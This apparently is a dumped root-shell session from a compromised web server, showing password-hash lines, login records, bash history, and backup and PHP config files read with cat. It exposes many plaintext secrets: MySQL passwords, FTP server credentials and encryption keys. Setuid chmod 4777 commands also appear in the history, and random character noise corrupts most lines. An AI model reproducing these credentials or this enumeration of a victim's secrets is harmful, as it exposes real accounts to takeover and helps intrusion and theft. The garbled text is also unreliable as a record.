com1$jEZ62nri$aDTj.1REsrYePcPBdfOQz1:13780:0:99999:7:::$ m/ D1 |& O2 Q2 C6 L5 X
astanet1$YniJLAr.$NKtPNNGK9mcmz3/mLMSWC1:14235:0:99999:7:::
" |% f8 N* e) b/ N% @ o7 J! y) R) K3 [8 J3 T% I7 z
sh-3.2# cat /etc/motd- V; t" l2 n0 J6 a0 J0 F5 ?
#####################################################
. W( s7 x. {! A! {' n#____ ____ ___ ____ _ ____ _ _ _ ____ ___ ____ #, I$ c1 G9 ~6 o# {: Z! P1 n9 k
# |__| [__ | |__| | |__| | | | [__ | |__| ## V* _( R- ]% j
# | | ___] | | | |___ | | \/ | ___] | | | #
, [$ X8 ?* H h9 K# #8 C( e& T" x5 o( x! |6 Q2 `; l
#####################################################
8 |* @ Z% t) k( e% a4 Z# #! s, T" ?' s, Q# w; S6 z/ c/ }
# Admin Contact - 链接标记support@secureservertech.com #" A5 Y: H; g0 r# H3 h3 E
# #
]2 J! \$ N5 ^; d# J2 @6 R& M# Available ShortCuts #
' @' s, C7 Q' g3 T# #9 o* Y* c n3 \2 z5 e
# nst - list active connections #+ Y: y" _! i! M* K. ?
# ddos - shows how many times each ip is connected #1 J" |) u% {( W" s/ U" o+ T
# ltr - restart the webserver #* o+ N2 S3 o: q* t
# phpc - edit the php config file #9 D B0 y6 U& b2 m! p
# htc - edit the webserver configuration file #
" v: M; J" G' x& @3 z: S# up - uptime #
; G( A0 F" y$ x# etd - edit the motd of the day file #
6 C& E( Y! g T# htr - start and restart apache if needed #
1 D; a Z2 O4 q; `# syng - shows active SYN_RECV connections #$ ?0 U4 O4 f& F/ K% H9 R/ i# ]
# synd - syn flood blocker - “synd -h” for usage #
2 u# p8 y6 ~. R+ Y: f, i H: _+ r( c# p8 H#####################################################
8 k" S; R" ^9 p Z7 ~( v" t# NOTES: #
$ X* @ [3 Q+ W; E' w( q# Last Upgrade - 12-08-2008 by JF #/ F/ q% C2 n2 ]( G4 M K* m( L
# My.cnf/Mysql Optimization - 1-28-09 #
; y5 w" r" p2 T+ @# w% g% O# #, d8 u, l0 u* C- q! H6 _! K
# #- Q# u* q1 J: f
# #. p$ o, X0 V2 o l) ~$ `
#####################################################7 M4 ~5 c9 ], z' H
4 w" L: y. `. w; Ysh-3.2# lastlog | grep -v Never- [4 x( g# d" d @: [3 G+ x
Username Port From Latest: @! {8 F! E3 o0 y3 s' S$ P6 I" ]( a* B
root pts/1 adsl-194-162-fix Thu Jun 4 07:19:14 +0000 2009, M6 o; S6 z1 I* F. W& N
admin pts/1 cp.secureservert Thu Mar 20 10:25:39 +0000 2008
7 j$ e6 j6 f" C4 B8 T' vcom pts/0 cust.static.212- Tue Jun 2 07:46:30 +0000 20091 T( t6 N" Y3 `& s1 \ S. x' L
astanet pts/0 adsl-194-162-fix Thu Apr 16 08:20:44 +0000 2009; p9 S5 t3 \' J @
9 I% T6 T7 v- ~3 C7 msh-3.2# ls -la$ s; z- U* {& m4 X, e: }8 i) D, a
total 453376
9 r$ [% n5 _! X% M# udrwxr-x— 15 root root 4096 Jun 4 08:40 .
1 M$ o1 q# D* Rdrwxr-xr-x 25 root root 4096 Jun 3 02:43 ..( p a0 T; Z8 X% E: y; e
-rw-r–r– 1 root root 2394400 Oct 19 2007 10mbtest.zip, S0 e ?/ F# L& @1 c4 O
-rw——- 1 root root 1006 Sep 11 2007 anaconda-ks.cfg
, k. O( q( {" w1 }6 K6 T) o-rw——- 1 root root 16836 Jun 4 07:21 .bash_history
+ R9 X+ @+ y$ N, d2 R3 R2 P-rw-r–r– 1 root root 24 Jan 6 2007 .bash_logout! @: m8 h% l( B
-rw-r–r– 1 root root 191 Jan 6 2007 .bash_profile4 f4 ?( \- f) E1 |/ Y& P. T9 u
-rw-r–r– 1 root root 176 Jan 6 2007 .bashrc" ]. M: W6 T8 X# m
-rwx—— 1 root root 1899 Oct 28 2007 bk.sh
: K3 U u9 c" F' k- s, k+ v$ ^' u$ J$ k-rw-r–r– 1 root root 1327 Nov 29 2007 cert' v c) `# Q" s! t! |7 _ Q0 f
-rw-r–r– 1 root root 139860821 May 14 2008 contrexxbackup_20080514.sql
J+ M( R. X; t$ }( odrwxr-xr-x 4 root root 4096 May 20 2008 .cpan2 O- Y2 w* ?# e/ {5 P2 c' A, I
-rw-r–r– 1 root root 100 Jan 6 2007 .cshrc
% c' [" z7 N1 e6 z* L8 @-rw-r–r– 1 root root 323079 Mar 31 13:48 defaultp_ports.sql
G4 w" W' O* a( _# T% E5 Y1 }drwx—— 2 root root 4096 Oct 28 2007 .elinks
& M6 B/ c& o4 [: x# t5 Y! l) hdrwxr-xr-x 13 root root 4096 Mar 21 2008 gdb-6.7.1
6 {) S% T h# @' _-rw-r–r– 1 root root 15080950 Oct 29 2007 gdb-6.7.1.tar.bz2
7 t$ M' [+ M7 m. W* ^: A* \" e" M-rw——- 1 root root 0 Apr 16 13:19 .history
7 }- ~5 Y; q2 t( S' @7 q-rw-r–r– 1 root root 16095 Sep 11 2007 install.log
- k$ b) k, s( d; d$ ~4 Y& x: I-rw-r–r– 1 root root 2566 Sep 11 2007 install.log.syslog
! N* C1 J" f7 k+ F6 n* I& X, D, i% e+ `-rw-r–r– 1 root root 1003 Jul 22 2007 install.sh
) m% \, l2 j# a3 i-rw——- 1 root root 35 Jun 2 14:23 .lesshst2 ^9 t$ @9 X& [$ s# F' P
drwxr-xr-x 2 root root 4096 Dec 29 2007 .lftp3 I$ x3 l8 H6 }& B) j8 S
drwxr-xr-x 10 root root 4096 Sep 14 2007 linux-2.6.19.2-grsec
" s# @$ s1 w" J! n-rw-r–r– 1 root root 94979336 Feb 16 2007 linux-2.6.19.2-grsec.tar.gz
' F3 ?3 f, ?: _2 K-rw-r–r– 1 root root 4737058 Sep 22 2007 linux-2.6.22.tar.bz28 B. {0 W/ X( ~! V) C
-rwx—— 1 root root 760 Sep 18 2008 lp
& l8 c3 o- @* t' F- ^( I# T: Q2 edrwxr-xr-x 12 root root 4096 Nov 30 2007 lsws-3.3.1
8 W2 m" q0 y6 g& `3 @+ E- T-rw-r–r– 1 root root 2480045 Nov 30 2007 lsws-3.3.1-ent-x86_64-linux.tar.gz
% r; ^+ \* s8 g0 N2 T# i-rw-r–r– 1 root root 6388501 Nov 29 2007 lsws-3.3.1-ent-x86_64-linux.tar.gz.1
/ m+ h" q4 I& I6 g: L( pdrwxr-xr-x 12 root root 4096 Mar 21 2008 lsws-3.3.9
4 Z6 i% O# o @. ?, W) n7 v: W7 Z/ A- U-rw-r–r– 1 root root 6437577 Mar 21 2008 lsws-3.3.9-ent-x86_64-linux.tar.gz7 `& G Y+ `: j1 V1 E
drwxr-xr-x 12 root root 4096 May 29 15:10 lsws-4.0.30 P7 T( U, i0 q: x
-rw-r–r– 1 root root 6496050 May 8 05:59 lsws-4.0.3-ent-x86_64-linux.tar.gz4 a% ]" w* z& V! i9 i& B" m/ b
-rw-r–r– 1 root root 25316 Feb 15 2006 mybk.sh* b) L' {) ]% O- _+ E( M: g
-rw——- 1 root root 41 Oct 19 2007 .my.cnf
j9 w5 a0 C* D( a) b-rw——- 1 root root 2902 Jun 4 08:40 .mysql_history, O! \- d) f+ J! W) M$ k
-rwx—— 1 root root 38873 Apr 16 2008 mysqlreport) B* ~$ ?, V; M) S9 W
-rw——- 1 root root 41 May 20 2008 .mytop
4 _" {9 U% k1 }4 e/ m) M6 ydrwxr-xr-x 3 1000 1000 4096 May 20 2008 mytop-1.6
/ v. Q2 s6 T: ^-rw-r–r– 1 root root 19720 Feb 17 2007 mytop-1.6.tar.gz o( w" o- G* P( ^# E' S1 X2 F
drwxr-xr-x 2 root root 4096 Oct 28 2007 .ncftp
5 L* c, F# I. k-rw——- 1 root root 1462 Sep 21 2007 opt.php" M( T. N: j/ a" s ] ]( {9 w: Z
-rw-r–r– 1 root root 3371 Sep 22 2007 p; C E# H6 y9 R9 v- @' R& d
-rw-r–r– 1 root root 7608429 Aug 30 2007 php-5.2.4.tar.bz22 }! ^5 O! M/ i! k6 k- K
-rw——- 1 root root 1024 Feb 3 21:32 .rnd
0 G6 B' S6 u9 {-rw-r–r– 1 root root 716 Nov 28 2007 server.csr& a5 G6 P# y- Y) j
-rw-r–r– 1 root root 887 Nov 28 2007 server.key8 i" V% D, T' E3 S7 G; b2 x
drwx—— 2 root root 4096 Oct 10 2008 .ssh- y% Z: N7 c; ?& {) y# r x
-rw-r–r– 1 root root 44227 Oct 28 2007 tar-inc-backup.dat
3 p7 Z6 [: R, r i/ m-rw-r–r– 1 root root 129 Jan 6 2007 .tcshrc
* ]- J& F1 T# r% N- y3 {$ T8 |-rw-r–r– 1 root root 104874307 Oct 17 2007 test100.zip I& @ L5 L$ X# l! p1 P
-rw-r–r– 1 root root 67085540 Oct 19 2007 test100.zip.1/ u, C7 ~0 B) M& \5 e
drwxr-xr-x 2 root root 4096 Apr 29 11:15 tmp; Y( t# c& I# T$ J
-rw-r–r– 1 root root 42596 May 21 2007 tuning-primer.sh
' [' h$ C! j) D/ l J2 idrwxrwxrwx 19 1000 users 4096 Mar 21 2008 valgrind-3.3.09 _ }/ ~. ?% ?; p) ]/ S
-rw-r–r– 1 root root 4519551 Dec 11 2007 valgrind-3.3.0.tar.bz2) S) _# D/ a+ v+ \( H
-rw——- 1 root root 12997 May 16 2008 .viminfo) X) q' U8 j- P
0 T/ V: V) V$ P0 }( ~3 f5 f3 o5 l4 E
sh-3.2# cat .bash_history7 Y& }) Z( v% q! e% q4 B3 Z, f
[snip]0 x5 z& ] t( ?# `) |4 V
wget cp4sst.com/sstlinux.tar.gz8 V# G, J7 l0 O1 N( E& @( g
tar zxvf sstlinux.tar.gz
6 C% ^2 U7 P8 A- F5 Ccd linux-2.6.27.101 H L, z, Z5 k2 o' X
sh install.sh; W: e: J, T; F; X" |' B5 ?3 i: u2 E
make bzImage ; make modules ; make modules_install ; make install
~% H& U8 K- X8 t8 F6 G; omake clean5 r; _; p" w9 @ F; R5 I
service mysqld restart7 Q4 e4 P" U5 D
[snip]1 c5 K2 A! ]4 x, p* u& T E) n! T
cd /usr/sbin/# \4 b' z5 F) e
chmod 4777 traceroute
) O( O) w; C3 ]5 l$ g7 x- Mchmod 4777 ping
2 B) \; ?& n$ U0 s" f; \! X$ i! ttraceroute -I 链接标记[url]www.astalavista.ch[/url]% M6 [$ O" X4 i5 A" z
[snip]" G3 a! o; `. F, m, l$ l
vi /etc/csf/csf.conf" E( K+ W! U9 g% f t$ |
traceroute google.ch
X5 @6 A0 U: @$ ]1 Z$ e% _4 ^/ g4 [service csf restart
/ Y' f5 ]. t$ F" L, M! t9 d7 ^tracert google.ch) |( `$ L- i1 V9 u! U* t
service csf restart
7 q& n) G* W9 v/ l3 a+ I Wtraceroute 链接标记[url]www.google.ch[/url]/ o7 E7 t9 G! ?: L
tracert 链接标记[url]www.google.ch[/url]' e! m' K, x* x+ O- X) B
traceroute 链接标记[url]www.google.ch[/url]
; X* P! ^9 z0 C$ ?5 b t3 f: Vlocate traceroute4 L4 F6 V" j4 ]8 \6 F9 J; \/ A0 @" h
chown 4755 /bin/traceroute
* @- B9 Q$ g5 R- ^7 E- K9 \4 C- Zchown 4777 /bin/traceroute
7 ]: T- H! u# t0 g2 xlocate ping
( j8 v4 O9 S' t0 s& rchown 4755 /bin/ping
; Y& z! n8 k; Y/ J+ bchown 4777 /bin/ping3 s0 t) B7 w, E# j' ?
cd /bin/
+ |' s% b* R) l' r$ C3 m+ I" }3 Rls -ali | grep ping; ]* w' C2 \3 g/ }& h
chown root ping
2 Q" X: f- e$ Qchmod 4755 ping" O% T- M4 b$ `# z
ls -ali | grep traceroute9 \5 n/ U! c( R
chown root traceroute
. s% P4 d. Q9 _7 v) ^& J6 V schmod 4755 traceroute3 [4 _9 V: R i. A$ _- e
ls -ali | grep traceroute$ b, w0 h6 U, m
traceroute -I 链接标记[url]www.google.ch[/url]4 v- M, J7 U/ f7 {: A. i6 ~
traceroute 链接标记[url]www.google.ch[/url] B' \1 G9 P; W! J& u0 x$ P
whois pmsantos.ch
6 b5 ~0 |, s' r/ v7 w$ s[snip]
" H+ e" o( e. {4 j( R/ v+ M1 Emysql -h com_contrexx2_live < /root/defaultp_ports.sql9 J: Y4 ~. e5 k$ J
mysql -h -ucontrexxuser2 -p0fEYNZgXz1pKe com_contrexx2_live < /root/defaultp_ports.sql
- P% h' P: t" f& d( {5 rmysql -h -u contrexxuser2 -p com_contrexx2_live < /root/defaultp_ports.sql- U0 K+ J! t& ?
mysql -h localhost com_contrexx2_live < /root/defaultp_ports.sql
4 l( q) {9 v/ I" t- ktop
h. g# Z) M& N7 nping ssth.ch! a- @2 c' Z- `. _
ping asdlkfaljgasd???ljg???lasj.ch& ^' N7 U X. q [' x
ping asdlkfaljgasdlasj.ch! A- d% h/ W, M& y* { O: t! K
ping 链接标记[url]www.ssth.ch[/url]/ W) c( B7 E* E' x4 A6 S
ping ssth.ch& R+ u4 _) F9 h5 r0 J
nslookup 链接标记[url]www.google.ch[/url]/ N- Z1 F8 Q/ k# s! L
nslookup 链接标记[url]www.ssth.ch[/url]
5 l4 q6 _, u0 U: P W" v9 uman nslookup z1 T1 j- f* V3 Y6 F% h: X
ping 链接标记[url]www.google.ch[/url]. n1 \0 N1 H" m, Y5 \
nslookup 链接标记[url]www.google.ch[/url]0 Y( D$ G" [+ j( M
nslookup 链接标记[url]www.google.ch[/url]4 `: Q% R6 T* p6 O% p
nslookup salfjasdlf.ch; B+ p# R& r) t
[snip]$ r. x, T9 C9 P) E
openssl passwd -1 sadf
1 @1 |" P8 ? d& Lopenssl passwd -1 5cZNHstdTy
' M% s; N/ b$ K$ o- Omysql# b9 T5 h* \7 d+ s2 k/ p8 p
mysql
9 _) O$ h" u+ r8 glocate proftp6 L# `1 w) B' h5 }5 a$ u9 G4 o, ]; B
vi /etc/proftpd.passwd
) o# S& K: z3 E; Y8 M. Xservice proftpd restart
; Z. I0 Z! m8 g: N$ Z) Ulocate proftpd.conf6 \3 E8 ?! s* ?
vi /etc/proftpd.conf2 s: b0 e* T! g7 A
vi /etc/proftpd.passwd
. m$ ]$ F- w/ q' Rservice proftpd restart2 t' C4 {9 a q3 g
[snip]: U" h0 C5 w$ v2 m; s$ P/ i
/bin/sh /home/com/backup_system/backup.sh
' \2 h; K7 P# i9 I& z: R3 Btar cfv /home/com/backups/09-04-28_backup.tar /home/com/public_html/admin" `; ]& y. ~: V6 m
mysqldump -h localhost -u contrexxuser2 –password=0fEYNZgXz1pKe com_contrexx2_live > 09-04-29-com_contrexx2_live-full.sql) P8 X" o2 A, B2 Q% D8 _# j
mysqldump -h localhost -u contrexxuser2 –password=0fEYNZgXz1pKe com_contrexx2 > 09-04-29-com_contrexx2-full.sql+ m% j$ p# Q" b) H# l" s! f
ls -ali/ X0 _5 m1 q0 o. S' m) g+ V
mysqldump -h localhost -u com_user1 –password=Undv7gu29gvb5ikhS com_contrexx > 07-04-29-com_contrexx-full.sql
. I. ^( T! ?5 n& J7 |mysqldump -h localhost -u com_user1 –password=Undv7gu29gvb5ikhS ideapool > 07-04-29-ideapool-full.sql. y$ b" R8 F1 N$ }3 g
crontab -l! D3 l7 ^ k" r( l/ b1 U# V
crontab -l
% n3 r7 @/ B8 pphp -q /home/com/public_html/modifications/cronjobs/securitynews.php' } w5 e9 D3 H0 d
/home/com/public_html/modifications/cronjobs/exploits.sh1 I2 \ ~2 b+ z+ l* z1 _
wget 链接标记[url]http://www.litespeedtech.com/pac ... x86_64-linux.tar.gz[/url]& E8 A" Q- x# G+ I: M% @: u& X
tar zxvf lsws-4.0.3-ent-x86_64-linux.tar.gz
3 K0 v N% ]( V" Fcd lsws-4.0.3
) h+ A! `3 t: B5 b" L8 t* A; o9 ush install.sh
" O [2 z# G6 x0 fuptime
[ M, m0 m6 Q5 d. z1 {) v& {: Yhdparm -tt /dev/sda9 Y3 O3 Z# p- U4 X; T& J
iostat/ [( u$ U- {& v# s H! @# t% f
yum install iostat
, r- g1 E7 Q0 I% ~! u0 liostat3 Z$ J6 w1 R! u$ f4 O8 v" m
whereis iostat1 s2 E6 F3 K! C; J6 J
yjm clean all2 r. m" I$ ~8 {0 D
yum clean all ; yum -y update
+ s! l0 T/ X! f( P5 Aiostat
/ @0 X5 X: e: C2 Y+ p) Uyum install systat0 O& U& [3 w5 c3 ~/ j% D4 n- L
rpm -qa | grep iostat( y7 r# D3 \5 |/ n) L
rpm -qa | grep sysstat
# D" W% G7 G* J# ^rpm -qa | grep systat* I8 [5 d5 i' W i) c3 `
dmesg -c* V9 A( H' y0 b! w1 r. r+ s: s* {. W
sysctl -p* H6 B1 \$ e2 t1 r& H( S S
uname -r
" ^* w3 v( ^; L: z1 ?) d$ rcd /usr/src
6 A. T+ H* M2 S5 Z/ k+ v, Gwget nix101.com/kernels/sstlinux.tar.gz9 \1 }+ v+ j+ W. u' {& I" G
shutdown -r now; |( Z# x: ?+ c$ Q
nano -w /boot/grub/grub.conf
) J4 l2 C8 Q) _3 h7 @- \6 N! f
( J; x1 u3 ]* Bsh-3.2# cat .my.cnf
0 E, ^* k3 r9 @) ^[client]
j7 A7 ]) f& r7 Muser=da_admin
2 p3 O5 h0 v9 \ s* o; j, h- spassword=X9dctmRH
" k. w6 Q* E Z" V% w* Q3 [, I, P/ C* x8 @0 ?' L
sh-3.2# cat /home/com/backup_system/backup.sh
4 D* b+ l: C6 p, C& f- |3 w#!/bin/sh
+ b+ M; b* K5 v- K+ L' z#####################################################################
) h' l9 v3 Y d) p! H3 D$ U, k: {# #+ s8 |" U6 l5 {6 v1 h! Y3 C
# incremental backup for astalavista.com #
3 g+ ^) m2 |8 F T# _) ^. _# #
+ p: Z& Y# v3 B1 B4 S2 m) S# author: Paulo M. Santos <链接标记paulo.santos@astalavista.com> #
/ R* w* N. g1 _6 i# #' R& A4 u7 G9 ~# X }$ {. o+ U
#####################################################################. u2 D& B& d9 L/ e. n" C# C
[snip]2 J# W% @$ y3 e+ O8 z+ ]
PROG_DIR=”/home/com/backup_system”;" b. W$ i( S3 o% A2 \9 e
BACKUP_DIR=”/home/com/backups”;
; o% A8 |8 {5 L/ R- ~DOBACKUP_FROM=”/home/com/domains/astalavista.com/public_html”;
* r/ S: f! @+ _, i. r. t7 J# ftp for synology backup server: ^1 I; o7 t# B6 [9 a5 q3 B
FTP_HOST=”212.254.194.163″;
1 m2 g9 k/ m! y% [# _6 FFTP_PORT=”21″;3 K7 m2 S7 |/ n, P6 ]
FTP_USER=”astalavista.com”;, ~' M" d6 R( ^+ E- A
FTP_PASS=”yWHOJbzpWTWC6Xrmg1WnfBk5V”;. f$ M8 Q# D5 o6 e
FTP_DIR=”/astalavista.com”;
' a1 [ T1 V3 s# s# database
+ o8 e$ K9 ]# F9 MDB_HOST=”localhost”;
7 f+ r- ]- t, T0 I5 ~8 i% sDB_USER=”contrexxuser2″;
- X) B' R' a. F7 p( h( _DB_PASS=”0fEYNZgXz1pKe”;9 c- m4 v9 Q2 g
DB_DATABASE1=”com_contrexx2_live”;
# a: y# G& ` D- r+ c/ g) y& gDB_DATABASE2=”com_contrexx2″;
9 [/ ?- n3 o; M# ~% V& Y7 r/ Y5 W[snip]7 ~1 l* u9 I( `
ftp -in $FTP_HOST $FTP_PORT <<EOF
9 d0 ~! }5 y! s' [, Pquote USER $FTP_USER
3 c) ~$ S8 @% }* M% y5 z! u/ V8 }quote PASS $FTP_PASS* g/ M8 G: B$ w
cd $FTP_DIR
/ }8 \. W N ~put $DB_FULLNAME-SQL_Dump.tar' T* p/ J) h9 s, j
put $BACKUP_FULLNAME-Public_HTML.tar- h! x1 M3 m$ V% I
close
: t1 D' t L" m, W5 f* F. Obye
7 y( ?& n" [' C- Q- OEOF
$ y/ ^, Z1 S# D! ]9 S9 u* S# P# q B N) N
sh-3.2# cd /home
# {7 t$ _* X) \) l6 N+ O# j' |sh-3.2# ls -la
" J# L+ G% j" u$ Itotal 120
@- z; W2 T2 M& t0 H6 Cdrwxr-xr-x 14 root root 4096 Mar 11 17:56 . ?1 J% R: I+ G" d$ v% F! x
drwxr-xr-x 25 root root 4096 Jun 3 02:43 ..
* g2 `. Y) L: P- rdrwx–x–x 9 admin admin 4096 Nov 28 2007 admin
& M* q+ w; z2 L( L) ^+ I& K6 ^/ S5 u-rw——- 1 root root 8192 Jun 4 03:03 aquota.group* M Q/ C; ^ P# w+ e8 t
-rw——- 1 root root 8192 Jun 3 02:45 aquota.user
+ F" G" n1 s- x8 b4 i" O' m7 L$ [drwx–x–x 6 astanet astanet 4096 Jun 4 09:51 astanet
, N$ s4 M n/ B" u3 J1 zdrwxr-xr-x 2 root root 4096 Jul 29 2008 backup2 y! o: x' W4 {5 w
drwxr-xr-x 2 root root 4096 Sep 17 2008 backup.14161- e4 f( T7 u% a$ G; ^5 J' L8 J9 o
drwx–x–x 10 com com 4096 Apr 28 12:40 com) v v) }2 I) ^ V* ?, _
drwxr-xr-x 2 root root 4096 May 17 2007 ftp0 Y3 k0 W4 m. N, M; `
drwx—— 3 jon jon 4096 Sep 21 2007 jon; j( `0 N }5 @+ s
drwx—— 2 root root 16384 Sep 11 2007 lost+found; W# A& s+ D, _
drwxr-xr-x 2 root root 4096 Sep 14 2007 my
3 ~; c' M, f8 B3 \4 \drwxr-xr-x 5 mysql mysql 4096 Sep 24 2007 mysqldata
* V' _ f( P9 w) b0 O W% Rdrwx—— 2 jon jon 4096 Sep 15 2007 test
. _6 r- H/ z9 ?) ^0 S$ tdrwxrwxrwt 2 root root 4096 Jul 29 2008 tmp
+ }$ Q8 _, \# b4 @: H; q0 t' y7 z! I0 y8 U7 K+ s/ z) X
sh-3.2# cd admin7 x, _2 p& ]( G. v/ j7 Y
sh-3.2# ls -la/ ?2 ^4 T q) Y8 k% V9 {0 ^2 }! G
total 1735896; d+ p- K' m: f: h( v+ t( T, R$ M1 ?
drwx–x–x 9 admin admin 4096 Nov 28 2007 .: w4 P$ l9 Z6 D" d' \% ~: Q- c
drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..; }2 [6 q0 \% m V! \
drwxrwxr-x 2 admin admin 4096 Oct 25 2007 admin_backups! d+ |) m$ f# f! }) P8 L4 M
drwx—— 2 admin admin 4096 Sep 28 2007 backups
|0 C6 E" K' `/ N8 K7 U r+ e-rw——- 1 admin admin 860 Sep 17 2008 .bash_history4 L: s7 D8 |0 i
-rw-r–r– 1 admin admin 24 Sep 14 2007 .bash_logout
2 [1 E0 P; ^8 L; Z-rw-r–r– 1 admin admin 176 Sep 14 2007 .bash_profile6 i3 A5 F& s/ x4 R$ k1 Z. N3 p
-rw-r–r– 1 admin admin 124 Sep 14 2007 .bashrc
8 ~5 t1 G4 h% W( ^- y! odrwxr-xr-x 2 root root 4096 Sep 28 2007 com_backups4 s( n h' ]$ e `) ~( _
drwx–x–x 6 admin admin 4096 Sep 21 2007 domains) s$ j6 q5 Z4 u, H, W0 w
drwxrwx— 3 admin mail 4096 Sep 21 2007 imap
9 z: W" ~4 E) k8 h-rw-r–r– 1 root root 24 Sep 21 2007 info.php8 }* v+ Z; ~1 g2 g# B
drwx—— 2 admin admin 4096 Sep 21 2007 mail6 E, Z8 R# F( K* M# m( z0 M
-rw-r–r– 1 root root 716 Nov 28 2007 server.csr6 ?8 k# |6 k8 o
-rw-r–r– 1 root root 887 Nov 28 2007 server.key( @7 G( M- e3 ~) S# ?7 A* _! J
-rw-r—– 1 admin mail 34 Sep 14 2007 .shadow
4 ^( q) x5 k% E- b- c) \9 o0 p-rw-r—– 1 admin com 1775711054 Oct 25 2007 user.admin.com.tar.gz
" Z8 i4 w* `9 S) O/ w% P" vdrwx–x–x 2 admin admin 4096 Jul 29 2008 user_backups
3 q j! e9 r8 d
/ K! R" u2 m0 J: Ysh-3.2# ..
+ C- `* R9 m, |) y: @1 }# D+ b6 ysh-3.2# cd jon0 j0 z( z f3 ~+ l8 K. ^
sh-3.2# ls -la
3 ^: B c5 l/ K7 S) _0 f1 T+ ytotal 36$ q% ?# ~8 B- P
drwx—— 3 jon jon 4096 Sep 21 2007 .
1 d- Q3 e2 V8 T$ ^. C" kdrwxr-xr-x 14 root root 4096 Mar 11 17:56 ..( p* i6 K( k! n1 a6 U B: {& F, U
-rw——- 1 jon jon 53 Sep 21 2007 .bash_history/ b5 x+ u4 H# S2 ^. F
-rw-r–r– 1 jon jon 24 Sep 21 2007 .bash_logout
; h$ k& J+ l. u3 f \, _2 I4 m-rw-r–r– 1 jon jon 176 Sep 21 2007 .bash_profile$ G8 W, Q/ w8 B7 p5 S% e1 b
-rw-r–r– 1 jon jon 124 Sep 21 2007 .bashrc6 J# C; J. {6 o" Y8 i
-rw-r–r– 1 root root 24 Sep 21 2007 info.php
6 J" @( p, W# H; L3 Pdrwxrwxr-x 2 jon jon 4096 Sep 21 2007 public_html
, D3 v) X; p9 \ Z, l. e1 V3 _& ~- N4 d. q# [+ {' M/ E
sh-3.2# cd ..$ |9 l6 B: E# p2 B7 N
sh-3.2# cd test X1 C& d6 `5 u2 e. `
sh-3.2# ls -la" l" C1 ]3 e6 R4 o1 e
total 48
# I0 L3 Q( k0 V8 |drwx—— 2 jon jon 4096 Sep 15 2007 .
+ ]6 F2 T% k/ X' Q+ m% zdrwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
. u7 D- r0 A6 g4 \8 y: I7 X S3 h7 w/ d-rw——- 1 jon jon 79 Sep 21 2007 .bash_history
4 S# ] D5 n* g1 e" G [$ o-rw-r–r– 1 jon jon 24 Sep 15 2007 .bash_logout
v4 {* l- n+ Z( e4 P0 \7 H-rw-r–r– 1 jon jon 176 Sep 15 2007 .bash_profile
8 a5 X7 V/ l+ J: x3 A1 B3 u-rw-r–r– 1 jon jon 124 Sep 15 2007 .bashrc
- H/ @ T" o. x* Jsh-3.2# cat .bash_history
" U7 N! }! C# C) j- E$ w( Z3 h/usr/bin/mysqladmin -u root password PoliuJhytg67+ m" G& v# I0 I& F7 A
" L' [6 x( v, o# m1 Ush-3.2# cd ..$ {9 Z3 u$ C6 [- E
sh-3.2# cd astanet+ z5 b! | S6 C
sh-3.2# ls -la1 H: Z( h& J! m m) Y
total 52
6 s* l( i7 F' g1 ldrwx–x–x 6 astanet astanet 4096 Jun 4 09:51 .+ x6 ~* ~& J3 z: u9 T
drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
- y5 V$ a8 _' K/ ?) cdrwxr-xr-x 2 root root 4096 Dec 23 16:00 auth7 l9 [3 j4 F, [. P
-rw——- 1 astanet astanet 3892 Apr 16 12:14 .bash_history
3 W; u8 ~7 S G7 u-rw-r–r– 1 astanet astanet 33 Dec 17 21:50 .bash_logout
! ^0 R/ e7 {1 v0 |* p-rw-r–r– 1 astanet astanet 176 Dec 17 21:50 .bash_profile" z: i3 j3 {) d; B( G( F
-rw-r–r– 1 astanet astanet 124 Dec 17 21:50 .bashrc
: B5 B7 X$ G5 p1 i3 l/ kdrwx–x–x 3 astanet astanet 4096 Dec 23 12:18 domains' F C, C, X- [
drwxrwx— 3 astanet mail 4096 Dec 23 12:18 imap4 |/ h/ n* d0 P0 u; A+ d5 L; @
drwx—— 2 astanet astanet 4096 Dec 23 12:18 mail
6 d4 {% `# l# K! U g) Z% \-rw——- 1 astanet astanet 197 Jun 4 09:51 .mysql_history+ b% w [# ]9 @8 }
lrwxrwxrwx 1 astanet astanet 37 Dec 23 12:18 public_html -> ./domains/astalavista.net/public_html
4 X$ F; n- W1 V-rw-r—– 1 astanet mail 34 Dec 22 12:41 .shadow& }+ [; n# q! I6 n! Y9 x
# h/ f1 X- f1 f+ N0 tsh-3.2# cd auth/
8 j0 N' X& k0 p$ ?( R+ N- ush-3.2# ls -la% I0 W) Y+ X- E/ B1 _9 t
total 28% U! R& K6 L8 t3 Y
drwxr-xr-x 2 root root 4096 Dec 23 16:00 ., E2 T- {* L, B+ [4 M
drwx–x–x 6 astanet astanet 4096 Jun 4 09:51 ..
5 p% K$ O' Q6 L/ x t- N; d) w& k8 t-rw-r–r– 1 root root 321 Jan 5 2006 hackercontest.config.inc.php
: k% G" h0 c0 f( ], @5 `-rw-r–r– 1 root root 319 Jan 5 2006 hosting.config.inc.php! K" g3 S' R, M h1 G
-rw-r–r– 1 root root 24 Jun 4 09:38 .htadm_pwd1 ^5 s5 l8 Y! N1 f; P/ L* O2 P; b
-rw-r–r– 1 root root 49 Jan 5 2006 .htpasswd_newhosting
7 O9 g4 U: A/ Q8 q* f6 S-rw-r–r– 1 root root 51 Oct 11 2006 .htwebalizer_pwd# |8 y2 W; D- `6 h# B
9 Y5 K- {8 K5 c
sh-3.2# cat hackercontest.config.inc.php
( L/ h6 H8 c5 v7 q' q& J) n' f i<?PHP
0 J( S* k2 m& d// Variabeln f?r Verbindung zur Datenbank //' U; {/ I' r' ]8 p3 t4 {
$conxHost = ‘localhost’; // MySQL hostname
; ]/ X4 R& p8 A7 e+ j$conxUser = ‘hackercontest’; // MySQL user' G8 [6 ^: U* O" p
$conxPassword = ‘K6m@7dUc’; // MySQL password, S" p1 W% [, O- T( C/ Q1 p5 m0 t. \
$bfkey = ‘cXvB3981′; // Encryption/Decryption Key for Blowfish
$ L) s0 P/ i4 ?. l' h?>6 G6 J" Q) T0 F
sh-3.2# cat hosting.config.inc.php
& q8 U2 L* P) ^- Y; ~0 T<?PHP% U/ F! K7 h1 x8 {5 [7 X5 y
// Variabeln f?r Verbindung zur Datenbank /// ^! X# t u. m
$conxHost = ‘localhost’; // MySQL hostname( ~, a! x$ G: q3 @; P
$conxUser = ‘hostinguser’; // MySQL user5 k. L* F4 m/ }8 U5 ?0 ?8 }
$conxPassword = ‘cXvB3981′; // MySQL password
